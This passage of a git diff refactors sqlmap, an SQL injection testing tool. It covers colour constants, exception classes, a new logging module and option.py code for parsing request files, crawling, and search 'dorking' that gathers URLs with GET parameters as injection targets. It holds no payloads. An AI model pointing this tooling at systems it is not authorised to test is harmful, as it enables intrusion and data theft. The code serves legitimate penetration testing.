= "\033[95;1m" + LIGHT_GRAY = "\033[37m" + BOLD_RED = "\033[31;1m" + BOLD_LIGHT_GRAY = "\033[37;1m" + YELLOW = "\033[33m" + DARK_GRAY = "\033[90m" + BOLD_CYAN = "\033[36;1m" + LIGHT_RED = "\033[91m" + CYAN = "\033[36m" + MAGENTA = "\033[35m" + LIGHT_MAGENTA = "\033[95m" + LIGHT_GREEN = "\033[92m" + RESET = "\033[0m" + BOLD_DARK_GRAY = "\033[90;1m" + BOLD_LIGHT_YELLOW = "\033[93;1m" + BOLD_LIGHT_RED = "\033[91;1m" + BOLD_LIGHT_GREEN = "\033[92;1m" + LIGHT_YELLOW = "\033[93m" + BOLD_LIGHT_BLUE = "\033[94;1m" + BOLD_LIGHT_CYAN = "\033[96;1m" + LIGHT_BLUE = "\033[94m" + BOLD_WHITE = "\033[97;1m" + LIGHT_CYAN = "\033[96m" + BLACK = "\033[30m" + BOLD_YELLOW = "\033[33;1m" + BOLD_BLUE = "\033[34;1m" + GREEN = "\033[32m" + WHITE = "\033[97m" + BOLD_BLACK = "\033[30;1m" + RED = "\033[31m" + UNDERLINE = "\033[4m" + +class BACKGROUND: + BLUE = "\033[44m" + LIGHT_GRAY = "\033[47m" + YELLOW = "\033[43m" + DARK_GRAY = "\033[100m" + LIGHT_RED = "\033[101m" + CYAN = "\033[46m" + MAGENTA = "\033[45m" + LIGHT_MAGENTA = "\033[105m" + LIGHT_GREEN = "\033[102m" + RESET = "\033[0m" + LIGHT_YELLOW = "\033[103m" + LIGHT_BLUE = "\033[104m" + LIGHT_CYAN = "\033[106m" + BLACK = "\033[40m" + GREEN = "\033[42m" + WHITE = "\033[107m" + RED = "\033[41m" diff --git a/lib/core/exception.py b/lib/core/exception.py index 4716dda5678..4d111073dec 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,79 +1,78 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -class sqlmapConnectionException(Exception): +class SqlmapBaseException(Exception): pass -class sqlmapDataException(Exception): +class SqlmapCompressionException(SqlmapBaseException): pass -class sqlmapFilePathException(Exception): +class SqlmapConnectionException(SqlmapBaseException): pass -class sqlmapGenericException(Exception): +class SqlmapDataException(SqlmapBaseException): pass -class sqlmapMissingDependence(Exception): +class SqlmapFilePathException(SqlmapBaseException): pass -class sqlmapMissingMandatoryOptionException(Exception): +class SqlmapGenericException(SqlmapBaseException): pass -class sqlmapMissingPrivileges(Exception): +class SqlmapInstallationException(SqlmapBaseException): pass -class sqlmapNoneDataException(Exception): +class SqlmapMissingDependence(SqlmapBaseException): pass -class sqlmapNotVulnerableException(Exception): +class SqlmapMissingMandatoryOptionException(SqlmapBaseException): pass -class sqlmapSilentQuitException(Exception): +class SqlmapMissingPrivileges(SqlmapBaseException): pass -class sqlmapUserQuitException(Exception): +class SqlmapNoneDataException(SqlmapBaseException): pass -class sqlmapRegExprException(Exception): +class SqlmapNotVulnerableException(SqlmapBaseException): pass -class sqlmapSyntaxException(Exception): +class SqlmapSilentQuitException(SqlmapBaseException): pass -class sqlmapThreadException(Exception): +class SqlmapUserQuitException(SqlmapBaseException): pass -class sqlmapUndefinedMethod(Exception): +class SqlmapShellQuitException(SqlmapBaseException): pass -class sqlmapUnsupportedDBMSException(Exception): +class SqlmapSkipTargetException(SqlmapBaseException): pass -class sqlmapUnsupportedFeatureException(Exception): +class SqlmapSyntaxException(SqlmapBaseException): pass -class sqlmapValueException(Exception): +class SqlmapSystemException(SqlmapBaseException): pass -exceptionsTuple = ( - sqlmapConnectionException, - sqlmapDataException, - sqlmapFilePathException, - sqlmapGenericException, - sqlmapMissingDependence, - sqlmapMissingMandatoryOptionException, - sqlmapNoneDataException, - sqlmapRegExprException, - sqlmapSyntaxException, - sqlmapUndefinedMethod, - sqlmapMissingPrivileges, - sqlmapNotVulnerableException, - sqlmapThreadException, - sqlmapUnsupportedDBMSException, - sqlmapUnsupportedFeatureException, - sqlmapValueException, - ) +class SqlmapThreadException(SqlmapBaseException): + pass + +class SqlmapTokenException(SqlmapBaseException): + pass + +class SqlmapUndefinedMethod(SqlmapBaseException): + pass + +class SqlmapUnsupportedDBMSException(SqlmapBaseException): + pass + +class SqlmapUnsupportedFeatureException(SqlmapBaseException): + pass + +class SqlmapValueException(SqlmapBaseException): + pass diff --git a/lib/core/log.py b/lib/core/log.py new file mode 100644 index 00000000000..72e2028d191 --- /dev/null +++ b/lib/core/log.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import logging +import re +import sys + +from lib.core.enums import CUSTOM_LOGGING + +logging.addLevelName(CUSTOM_LOGGING.PAYLOAD, "PAYLOAD") +logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_OUT, "TRAFFIC OUT") +logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_IN, "TRAFFIC IN") + +LOGGER = logging.getLogger("sqlmapLog") + +LOGGER_HANDLER = None +try: + from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler + + class _ColorizingStreamHandler(ColorizingStreamHandler): + def colorize(self, message, levelno, force=False): + if levelno in self.level_map and (self.is_tty or force): + bg, fg, bold = self.level_map[levelno] + params = [] + + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + + if bold: + params.append('1') + + if params and message: + match = re.search(r"\A(\s+)", message) + prefix = match.group(1) if match else "" + message = message[len(prefix):] + + match = re.search(r"\[([A-Z ]+)\]", message) # log level + if match: + level = match.group(1) + if message.startswith(self.bold): + message = message.replace(self.bold, "") + reset = self.reset + self.bold + params.append('1') + else: + reset = self.reset + message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) + + match = re.search(r"\A\s*\[([\d:]+)\]", message) # time + if match: + time = match.group(1) + message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + + match = re.search(r"\[(#\d+)\]", message) # counter + if match: + counter = match.group(1) + message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + + if level != "PAYLOAD": + if any(_ in message for _ in ("parsed DBMS error message",)): + match = re.search(r": '(.+)'", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r"\bresumed: '(.+\.\.\.)", message) + if match: + string = match.group(1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + + if prefix: + message = "%s%s" % (prefix, message) + + message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + + return message + + disableColor = False + + for argument in sys.argv: + if "disable-col" in argument: + disableColor = True + break + + if disableColor: + LOGGER_HANDLER = logging.StreamHandler(sys.stdout) + else: + LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) + LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) + LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) + LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) +except ImportError: + LOGGER_HANDLER = logging.StreamHandler(sys.stdout) + +FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") + +LOGGER_HANDLER.setFormatter(FORMATTER) +LOGGER.addHandler(LOGGER_HANDLER) +LOGGER.setLevel(logging.INFO) diff --git a/lib/core/option.py b/lib/core/option.py index 96da793461d..75981997f80 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,330 +1,184 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import codecs -import cookielib +import collections +import functools +import glob import inspect +import json import logging import os +import random import re import socket import sys +import tempfile import threading -import urllib2 -import urlparse - -import lib.core.common -import lib.core.threads +import time +import traceback -from extra.keepalive import keepalive -from extra.oset.pyoset import oset -from extra.socks import socks from lib.controller.checks import checkConnection from lib.core.common import Backend +from lib.core.common import boldifyMessage +from lib.core.common import checkFile from lib.core.common import dataToStdout -from lib.core.common import getPublicTypeMembers -from lib.core.common import extractRegexResult -from lib.core.common import filterStringValue +from lib.core.common import decodeStringEscape +from lib.core.common import fetchRandomAgent +from lib.core.common import filterNone +from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType -from lib.core.common import isListLike +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString +from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile +from lib.core.common import parseRequestFile from lib.core.common import parseTargetDirect -from lib.core.common import parseTargetUrl from lib.core.common import paths -from lib.core.common import randomRange from lib.core.common import randomStr +from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin -from lib.core.common import sanitizeStr +from lib.core.common import safeExpandUser +from lib.core.common import safeFilepathEncode +from lib.core.common import saveConfig +from lib.core.common import setColor from lib.core.common import setOptimize -from lib.core.common import UnicodeRawConfigParser -from lib.core.convert import urldecode -from lib.core.convert import urlencode +from lib.core.common import setPaths +from lib.core.common import singleTimeWarnMessage +from lib.core.common import urldecode +from lib.core.compat import cmp +from lib.core.compat import round +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import mergedOptions from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict +from lib.core.datatype import LRUDict +from lib.core.datatype import OrderedSet from lib.core.defaults import defaults +from lib.core.dicts import DBMS_DICT +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import ADJUST_TIME_DELAY +from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING -from lib.core.enums import HTTPHEADER +from lib.core.enums import DUMP_FORMAT +from lib.core.enums import FORK +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MOBILES +from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY -from lib.core.enums import PROXYTYPE +from lib.core.enums import PROXY_TYPE from lib.core.enums import REFLECTIVE_COUNTER -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapMissingPrivileges -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUnsupportedDBMSException -from lib.core.exception import sqlmapUserQuitException +from lib.core.enums import WIZARD +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapInstallationException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException +from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.purge import purge from lib.core.settings import CODECS_LIST_PAGE -from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS -from lib.core.settings import DEFAULT_TOR_SOCKS_PORT -from lib.core.settings import FORMATTER +from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORE_CODE_WILDCARD from lib.core.settings import IS_WIN -from lib.core.settings import NULL -from lib.core.settings import PYVERSION -from lib.core.settings import SITE -from lib.core.settings import DBMS_DICT -from lib.core.settings import SUPPORTED_DBMS -from lib.core.settings import SUPPORTED_OS -from lib.core.settings import VERSION_STRING -from lib.core.settings import MSSQL_ALIASES -from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import PGSQL_ALIASES -from lib.core.settings import ORACLE_ALIASES -from lib.core.settings import SQLITE_ALIASES -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import FIREBIRD_ALIASES -from lib.core.settings import MAXDB_ALIASES -from lib.core.settings import SYBASE_ALIASES -from lib.core.settings import DB2_ALIASES -from lib.core.settings import BURP_REQUEST_REGEX +from lib.core.settings import KB_CHARS_BOUNDARY_CHAR +from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST +from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS +from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX +from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT +from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES +from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE +from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX +from lib.core.settings import SUPPORTED_DBMS +from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES -from lib.core.settings import UNENCODED_ORIGINAL_VALUE -from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION -from lib.core.settings import WEBSCARAB_SPLITTER +from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.threads import getCurrentThreadData +from lib.core.threads import setDaemon from lib.core.update import update from lib.parse.configfile import configFileParser +from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads +from lib.request.basic import checkCharEncoding +from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler +from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer -from lib.request.proxy import ProxyHTTPSHandler -from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler -from lib.request.certhandler import HTTPSCertAuthHandler from lib.request.httpshandler import HTTPSHandler +from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler -from lib.request.templates import getPageTemplate -from lib.utils.crawler import Crawler +from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies -from lib.utils.google import Google +from lib.utils.har import HTTPCollectorFactory +from lib.utils.purge import purge +from lib.utils.search import search +from thirdparty import six +from thirdparty.keepalive import keepalive +from thirdparty.multipart import multipartpost +from thirdparty.six.moves import collections_abc as _collections +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import http_cookiejar as _http_cookiejar +from thirdparty.six.moves import urllib as _urllib +from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree -authHandler = urllib2.BaseHandler() +authHandler = _urllib.request.BaseHandler() +chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() -proxyHandler = urllib2.BaseHandler() +proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() +multipartPostHandler = multipartpost.MultipartPostHandler() -def __urllib2Opener(): - """ - This function creates the urllib2 OpenerDirector. - """ - - debugMsg = "creating HTTP requests opener object" - logger.debug(debugMsg) - - handlers = [proxyHandler, authHandler, redirectHandler, rangeHandler, httpsHandler] - - if not conf.dropSetCookie: - if not conf.loC: - conf.cj = cookielib.CookieJar() - else: - conf.cj = cookielib.MozillaCookieJar() - resetCookieJar(conf.cj) - - handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) - - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " - - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warn(warnMsg) - elif conf.aType: - warnMsg += "with authentication methods" - logger.warn(warnMsg) - else: - handlers.append(keepAliveHandler) - - opener = urllib2.build_opener(*handlers) - urllib2.install_opener(opener) - -def __feedTargetsDict(reqFile, addedTargetUrls): - """ - Parses web scarab and burp logs and adds results to the target url list - """ - - def __parseWebScarabLog(content): - """ - Parses web scarab logs (POST method not supported) - """ - - reqResList = content.split(WEBSCARAB_SPLITTER) - - for request in reqResList: - url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) - method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) - cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) - - if not method or not url: - logger.debug("not a valid WebScarab log data") - continue - - if method.upper() == "POST": - warnMsg = "POST requests from WebScarab logs aren't supported " - warnMsg += "as their body content is stored in separate files. " - warnMsg += "Nevertheless you can use -r to load them individually." - logger.warning(warnMsg) - continue - - if not(conf.scope and not re.search(conf.scope, url, re.I)): - if not kb.targetUrls or url not in addedTargetUrls: - kb.targetUrls.add((url, method, None, cookie)) - addedTargetUrls.add(url) - - def __parseBurpLog(content): - """ - Parses burp logs - """ - port = None - scheme = None - - reqResList = re.findall(BURP_REQUEST_REGEX, content, re.I | re.S) - if not reqResList: - reqResList = [content] - - for request in reqResList: - if scheme is None: - schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) - - if schemePort: - scheme = schemePort.group(1) - port = schemePort.group(2) - - if not re.search (r"^[\n]*(GET|POST).*?\sHTTP\/", request, re.I | re.M): - continue - - if re.search(r"^[\n]*(GET|POST).*?\.(%s)\sHTTP\/" % "|".join(CRAWL_EXCLUDE_EXTENSIONS), request, re.I | re.M): - continue - - getPostReq = False - url = None - host = None - method = None - data = None - cookie = None - params = False - lines = request.split("\n") - - for line in lines: - if len(line) == 0 or line == "\n": - if method == HTTPMETHOD.POST and data is None: - data = "" - params = True - - elif (line.startswith("GET ") or line.startswith("POST ")) and " HTTP/" in line: - if line.startswith("GET "): - index = 4 - else: - index = 5 - - url = line[index:line.index(" HTTP/")] - method = line[:index-1] - - if "?" in line and "=" in line: - params = True - - getPostReq = True - - # POST parameters - elif data is not None and params: - data += line - - # GET parameters - elif "?" in line and "=" in line and ": " not in line: - params = True - - # Headers - elif ": " in line: - key, value = line.split(": ", 1) - - # Cookie and Host headers - if key.lower() == "cookie": - cookie = value - elif key.lower() == "host": - if '://' in value: - scheme, value = value.split('://')[:2] - splitValue = value.split(":") - host = splitValue[0] - - if len(splitValue) > 1: - port = filterStringValue(splitValue[1], '[0-9]') - - # Avoid to add a static content length header to - # conf.httpHeaders and consider the following lines as - # POSTed data - if key == HTTPHEADER.CONTENT_LENGTH: - params = True - - # Avoid proxy and connection type related headers - elif key not in ( HTTPHEADER.PROXY_CONNECTION, HTTPHEADER.CONNECTION ): - conf.httpHeaders.append((str(key), str(value))) - - if getPostReq and (params or cookie): - if not port and isinstance(scheme, basestring) and scheme.lower() == "https": - port = "443" - elif not scheme and port == "443": - scheme = "https" - - if conf.forceSSL: - scheme = "https" - port = port or "443" - - if not url.startswith("http"): - url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) - scheme = None - port = None - - if not(conf.scope and not re.search(conf.scope, url, re.I)): - if not kb.targetUrls or url not in addedTargetUrls: - kb.targetUrls.add((url, method, urldecode(data) if data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in data else data, cookie)) - addedTargetUrls.add(url) - - fp = openFile(reqFile, "rb") - - content = fp.read() - content = content.replace("\r", "") - - if conf.scope: - logger.info("using regular expression '%s' for filtering targets" % conf.scope) - - __parseBurpLog(content) - __parseWebScarabLog(content) +# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html +try: + WindowsError +except NameError: + WindowsError = None -def __loadQueries(): +def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. """ @@ -333,6 +187,7 @@ def iterate(node, retVal=None): class DictObject(object): def __init__(self): self.__dict__ = {} + def __contains__(self, name): return name in self.__dict__ @@ -350,19 +205,25 @@ def __contains__(self, name): return retVal tree = ElementTree() - tree.parse(paths.QUERIES_XML) + try: + tree.parse(paths.QUERIES_XML) + except Exception as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException(errMsg) for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) -def __setMultipleTargets(): +def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target mode. """ - initialTargetsCount = len(kb.targetUrls) - addedTargetUrls = set() + initialTargetsCount = len(kb.targets) + seen = set() if not conf.logFile: return @@ -372,34 +233,45 @@ def __setMultipleTargets(): if not os.path.exists(conf.logFile): errMsg = "the specified list of targets does not exist" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException(errMsg) - if os.path.isfile(conf.logFile): - __feedTargetsDict(conf.logFile, addedTargetUrls) + if checkFile(conf.logFile, False): + for target in parseRequestFile(conf.logFile): + url, _, data, _, _ = target + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + if key not in seen: + kb.targets.add(target) + seen.add(key) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) files.sort() for reqFile in files: - if not re.search("([\d]+)\-request", reqFile): + if not re.search(r"([\d]+)\-request", reqFile): continue - __feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) + for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): + url, _, data, _, _ = target + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + if key not in seen: + kb.targets.add(target) + seen.add(key) else: errMsg = "the specified list of targets is not a file " errMsg += "nor a directory" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException(errMsg) - updatedTargetsCount = len(kb.targetUrls) + updatedTargetsCount = len(kb.targets) if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) - infoMsg += "testable requests from the targets list" + infoMsg += "(parameter unique) requests from the " + infoMsg += "targets list ready to be tested" logger.info(infoMsg) -def __adjustLoggingFormatter(): +def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages and retrieved data info in inference mode @@ -409,178 +281,278 @@ def __adjustLoggingFormatter(): return def format(record): - _ = FORMATTER._format(record) - if FORMATTER._prepend_flag: - _ = "\n%s" % _ - FORMATTER._prepend_flag = False - return _ + message = FORMATTER._format(record) + message = boldifyMessage(message) + if kb.get("prependFlag"): + message = "\n%s" % message + kb.prependFlag = False + return message FORMATTER._format = FORMATTER.format - FORMATTER._prepend_flag = False FORMATTER.format = format -def __setRequestFromFile(): +def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied textual file, parses it and saves the information into the knowledge base. """ - if not conf.requestFile: - return + if conf.requestFile: + for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): + requestFile = safeExpandUser(requestFile) + url = None + seen = set() - addedTargetUrls = set() + if not checkFile(requestFile, False): + errMsg = "specified HTTP request file '%s' " % requestFile + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - conf.requestFile = os.path.expanduser(conf.requestFile) + infoMsg = "parsing HTTP request from '%s'" % requestFile + logger.info(infoMsg) - infoMsg = "parsing HTTP request from '%s'" % conf.requestFile - logger.info(infoMsg) + for target in parseRequestFile(requestFile): + url = target[0] + if url not in seen: + kb.targets.add(target) + if len(kb.targets) > 1: + conf.multipleTargets = True + seen.add(url) - if not os.path.isfile(conf.requestFile): - errMsg = "the specified HTTP request file " - errMsg += "does not exist" - raise sqlmapFilePathException, errMsg + if url is None: + errMsg = "specified file '%s' " % requestFile + errMsg += "does not contain a usable HTTP request (with parameters)" + raise SqlmapDataException(errMsg) - __feedTargetsDict(conf.requestFile, addedTargetUrls) + if conf.secondReq: + conf.secondReq = safeExpandUser(conf.secondReq) -def __setCrawler(): + if not checkFile(conf.secondReq, False): + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) + + infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq + logger.info(infoMsg) + + try: + target = next(parseRequestFile(conf.secondReq, False)) + kb.secondReq = target + except StopIteration: + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not contain a valid HTTP request" + raise SqlmapDataException(errMsg) + +def _setCrawler(): if not conf.crawlDepth: return - crawler = Crawler() - crawler.getTargetUrls() + if not conf.bulkFile: + if conf.url: + crawl(conf.url) + elif conf.requestFile and kb.targets: + target = next(iter(kb.targets)) + crawl(target[0], target[2], target[3]) -def __setGoogleDorking(): +def _doSearch(): """ - This function checks if the way to request testable hosts is through - Google dorking then requests to Google the search parameter, parses - the results and save the testable hosts into the knowledge base. + This function performs search dorking, parses results + and saves the testable hosts into the knowledge base. """ if not conf.googleDork: return - global keepAliveHandler - global proxyHandler - - debugMsg = "initializing Google dorking requests" - logger.debug(debugMsg) - - infoMsg = "first request to Google to get the session cookie" - logger.info(infoMsg) - - handlers = [ proxyHandler ] - - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - if conf.proxy: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " - warnMsg += "with HTTP(s) proxy" - logger.warn(warnMsg) - else: - handlers.append(keepAliveHandler) - - googleObj = Google(handlers) - googleObj.getCookie() + kb.data.onlyGETs = None - def search(): - matches = googleObj.search(conf.googleDork) + def retrieve(): + links = search(conf.googleDork) - if not matches: + if not links: errMsg = "unable to find results for your " - errMsg += "Google dork expression" - raise sqlmapGenericException, errMsg - - googleObj.getTargetUrls() - return matches + errMsg += "search dork expression" + raise SqlmapGenericException(errMsg) + + for link in links: + link = urldecode(link) + if re.search(r"(.*?)\?(.+)", link) or conf.forms: + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) + elif re.search(URI_INJECTABLE_REGEX, link, re.I): + if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: + message = "do you want to scan only results containing GET parameters? [Y/n] " + kb.data.onlyGETs = readInput(message, default='Y', boolean=True) + if not kb.data.onlyGETs or conf.googleDork: + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) + + return links while True: - matches = search() + links = retrieve() - if kb.targetUrls: - infoMsg = "sqlmap got %d results for your " % len(matches) - infoMsg += "Google dork expression, " + if kb.targets: + infoMsg = "found %d results for your " % len(links) + infoMsg += "search dork expression" - if len(matches) == len(kb.targetUrls): - infoMsg += "all " - else: - infoMsg += "%d " % len(kb.targetUrls) + if not conf.forms: + infoMsg += ", " + + if len(links) == len(kb.targets): + infoMsg += "all " + else: + infoMsg += "%d " % len(kb.targets) + + infoMsg += "of them are testable targets" - infoMsg += "of them are testable targets" logger.info(infoMsg) break else: - message = "sqlmap got %d results " % len(matches) - message += "for your Google dork expression, but none of them " + message = "found %d results " % len(links) + message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" - test = readInput(message, default="Y") - if test[0] in ("n", "N"): - raise sqlmapSilentQuitException + if not readInput(message, default='Y', boolean=True): + raise SqlmapSilentQuitException else: conf.googlePage += 1 -def __setBulkMultipleTargets(): +def _setStdinPipeTargets(): + if conf.url: + return + + if isinstance(conf.stdinPipe, _collections.Iterable): + infoMsg = "using 'STDIN' for parsing targets list" + logger.info(infoMsg) + + class _(object): + def __init__(self): + self.__rest = OrderedSet() + + def __iter__(self): + return self + + def __next__(self): + return self.next() + + def next(self): + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + elif self.__rest: + return self.__rest.pop() + + raise StopIteration() + + def add(self, elem): + self.__rest.add(elem) + + kb.targets = _() + +def _setBulkMultipleTargets(): if not conf.bulkFile: return - conf.bulkFile = os.path.expanduser(conf.bulkFile) + conf.bulkFile = safeExpandUser(conf.bulkFile) infoMsg = "parsing multiple 